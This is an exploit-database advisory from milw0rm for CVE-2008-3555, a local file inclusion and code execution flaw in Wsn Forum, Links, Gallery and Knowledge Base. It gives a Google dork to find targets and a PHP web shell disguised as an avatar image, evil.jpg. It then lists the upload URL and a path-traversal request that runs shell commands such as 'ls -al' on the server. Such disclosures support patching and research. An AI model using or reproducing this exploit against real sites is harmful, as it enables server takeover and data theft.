Wsn (Multiple Products) - Local File Inclusion / Code Execution

Author: otmorozok428
type: webapps
platform: php
port: 
date_added: 2008-08-05 
date_updated: 2016-12-15 
verified: 1 
codes: OSVDB-47477;CVE-2008-3555 
tags: 
aliases:  
screenshot_url:  
application_url: 

Author: otmorozok428, http://forum.antichat.ru

Products: Wsn Forum <= 4.1.43, Wsn Knowledge Base <= 4.1.36, Wsn Links <= 4.1.44, Wsn Gallery <= 4.1.30

Vendor: http://www.webmastersite.net

Googling: inurl:memberlist.php?action=profile

Code Execution Vulnerability:

Avatar evil.jpg source: <? system($_GET['cmd']); ?>

Enter to upload: http://www.site.com/forum/profile.php?action=editprofile&id=[Your User ID]

See the avatar name at your profile.

Upload evil avatar and go to: index.php?custom=yes&TID=../../attachments/avatars/[Avatar Name]&ext=jpg&cmd=ls -al

# milw0rm.com [2008-08-06]